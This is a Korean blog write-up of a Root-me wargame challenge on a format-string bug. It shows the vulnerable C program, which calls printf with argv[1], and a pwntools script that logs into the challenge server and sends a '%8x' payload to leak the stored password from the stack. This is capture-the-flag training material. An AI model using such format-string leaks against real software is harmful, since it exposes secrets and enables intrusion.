본문 바로가기
Wargame/Root-me

ELF x86 - Format string bug basic 1

by Anatis 2021. 3. 27.

이번 문제는 포멧스트링 문제이다.

 

#include <stdio.h>
#include <unistd.h>
 
int main(int argc, char *argv[]){
        FILE *secret = fopen("/challenge/app-systeme/ch5/.passwd", "rt");
        char buffer[32];
        fgets(buffer, sizeof(buffer), secret);
        printf(argv[1]);
        fclose(secret);
        return 0;
}

이번 문제의 소스 코드이다.  fopen 함수가 위 경로의 .passwd 파일은 텍스트로 읽어오고 fgets로 buffer에 입력을 받는다.

그리고 printf 에서 형식 지정자를 쓰지않아 포멧 스트링 취약점이 일어난다.

 

from pwn import *

user = 'app-systeme-ch5'
host = 'challenge02.root-me.org'
port = 2222
password = 'app-systeme-ch5'

payload = 'A'*4
payload += '%8x'*30

s = ssh(user, host, port, password)
p = s.process(['./ch5', payload])

p.interactive()

위 코드를 실행시켜보면 buffer, 20은 buffer의 길이 0x804b160은 시크릿 변수의 주소인거 같다. 

빨간색 부분을 보면 시크릿이 한번더 출력되고 뒤에 어떠한 값들이 나오는데 이 문제의 flag값인거 같다.

0x6f000a64에서 0a는 '\n'이므로 64까지만 hex -> ascii로 복구해보겠다.

 

 

댓글